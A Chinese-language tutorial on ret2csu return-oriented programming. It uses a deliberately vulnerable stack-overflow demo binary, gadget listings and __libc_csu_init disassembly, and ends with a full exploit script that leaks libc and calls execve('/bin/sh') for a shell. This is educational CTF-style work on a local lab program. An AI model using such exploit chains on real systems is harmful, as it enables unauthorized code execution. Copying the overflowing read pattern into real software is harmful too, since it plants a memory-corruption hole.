就进阶一下中级ROP,嗯嗯
demo源码
也没有太难,也没有过多的利用其他的东西
//gcc -z lazy -fno-stack-protector -no-pie -o csu csu.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void vul(){
char buf[128];
read(0, buf, 512);
}
int main(int argc, char** argv){
init();
write(1, "Hello, World\n", 13);
vul();
}
编译之后查看保护
利用原理
但是查看源码就知道题目中的gadget少的可怜,更不可能会有满足像write这样需要控制三个参数才可以执行的gadget。
➜ Desktop ROPgadget --binary csu
Gadgets information
============================================================
0x00000000004010bd : add ah, dh ; nop ; endbr64 ; ret
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x00000000004012bc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x000000000040123e : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x000000000040123f : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004012be : add byte ptr [rax], al ; endbr64 ; ret
0x00000000004010bc : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x0000000000401240 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401241 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004011d7 : call qword ptr [rax + 0xff3c35d]
0x00000000004011fc : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x00000000004010c3 : cli ; ret
0x00000000004012cb : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401170 : endbr64 ; jmp 0x401100
0x00000000004010c0 : endbr64 ; ret
0x000000000040129c : fisttp word ptr [rax - 0x7d] ; ret
0x00000000004010be : hlt ; nop ; endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x000000000040100b : jmp 0x4840103f
0x00000000004010ec : jmp rax
0x00000000004011fe : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x000000000040123d : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x00000000004010bf : nop ; endbr64 ; ret
0x00000000004011fd : nop ; leave ; ret
0x00000000004011d8 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012b0 : pop r14 ; pop r15 ; ret
0x00000000004012b2 : pop r15 ; ret
0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x00000000004012b3 : pop rdi ; ret
0x00000000004012b1 : pop rsi ; pop r15 ; ret
0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x00000000004012cd : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004012cc : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 68
显然找不到可以控制rdx的gadget,
但是需要找到某些函数去控制rdx才能利用write函数去泄露libc,然后才能进行接下来的操作
解决这种问题的方法就叫做ret2csu,主要用到的是__libc_csu_init函数。
__libc_csu_init函数的作用是对将要链接进elf的libc进行初始化。
其函数的汇编代码如下:
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
csu这种利用方式分为两部分第一部分就是从地址0x04012AA到最后,pop了rbx,rbp,r12,r13,r14,r15六个寄存器。第二部分是从0x0401290到0x04012A4,在这里会发现这些gadget通过r14寄存器控制了rdx,通过r13控制了rsi,通过r12控制了edi。
再往下走回看到一个cmp,比较rbp和rbx是否相等,如果相等不会跳转下一个循环,不相等责向下执行。
这样的话我们就可以利用这个gadget去控制参数寄存器,然后去劫持程序执行流leak libc至提权。
demo
测试之前还是要提一句需要注意的点
add rbx, 1
cmp rbp, rbx
这里在控制rbp和rbx的之后需要满足rbp = rbx + 1
开始测试
第一个payload,控制r12、13、14
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(1) + p64(elf.got["write"]) + p64(0x10) + p64(0)
执行gadget1
此时满足rbp = rbx + 1
执行过后,各个参数也都可以进入相应的寄存器中
注意观察寄存器执行之前和之后的变化
执行前:
执行后:
各个参数都布置好了到了call这个置零,发现是call是调用r15+rbx*18地址中的函数
根据上面的置零可以知道,r15、rbx都是可控的,那么这样的话可以利用这连个寄存器进行任意函数执行
只需要将rbx的值设置为零(因为乘以8所以不好计算,控制r15相对直观),将r15设置成想要执行的函数这里想要执行write那就将write的got地址存入该寄存器。
注意这里的调用不是直接调用该地址,是调用该地址内存的函数。
这样的话就可以写出完整的第一个payload
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(1) + p64(elf.got["write"]) + p64(0x8) + p64(0x404018) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)
看到此payload中存在p64(1)*7的样子,这个的作用就是用来平衡栈,因为在执行完call之后程序就会一直向下执行到一串pop,这样的话就会使栈内的原始数据丢失。
这就是csu调用函数的方法,但是在调用system提权的时候,在程序地址内找不到存贮此函数地址的地方,这就需要leak libc地址之后将system函数写入程序基址之内然后再进行调用。
那么第二次的csu调用就是用来将system函数地址、binsh字符串写入程序之内,一般写入的话都是选在bss段。
与上同理构造payload2:
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(0) + p64(0x404140) + p64(0x20) + p64(0x404020) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)
调用read函数写入system函数和binsh
p.send(p64(libcbase + libc.sym['execve'])+b'/bin/sh\x00')
此时函数与字符串的地址分别为0x404140和0x404148
根据此构造出提权payload3:
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(0x404148) + p64(0) + p64(0) + p64(0x404140) + p64(0x0401290)
提权
exp:
def pwn():
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(1) + p64(elf.got["write"]) + p64(0x8) + p64(0x404018) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)
p.sendlineafter('Hello, World\n',pl)
write_addr = uu64(r(6))
libcbase = write_addr - 0x10e060
leak('libcbase',libcbase)
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(0) + p64(0x404140) + p64(0x20) + p64(0x404020) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)
p.sendline(pl)
p.send(p64(libcbase + libc.sym['execve'])+b'/bin/sh\x00')
pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(0x404148) + p64(0) + p64(0) + p64(0x404140) + p64(0x0401290)
p.sendlineafter('Hello, World\n',pl)
itr()
拓展思考:
上述的利用情况是在理想状态下的利用,如果对payload的长度进行了限制那么像这个样长的payload已经无法满足csu的利用。
等等,我好像忘记了还有32位的情况,吓得我赶快编译了一个32位的demo
//gcc -z lazy -fno-stack-protector -no-pie -m32 -o csu32 csu.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void vul(){
char buf[128];
read(0, buf, 512);
}
int main(int argc, char** argv){
init();
write(1, "Hello, World\n", 13);
vul();
}
看到csu_init
分析32位里面的call,发现前两个参数是从栈中传出,第三个参数是通过edi寄存器传输
通过ROPgadget分析,发现也存在这个控制edi的gadget
(别问为啥跟上面的终端不一样了,问就是搭建交叉环境的时候环境整坏了
感觉如果不用pop是不方便的还是需要调用下面的一串pop来调用寄存器,问题就在于我们能不能控制到栈内传参的两个位置。动调去看一下。
看到这两个参数的位置,这两个参数是控制不了的所以说ret2csu在32位下是行不通的。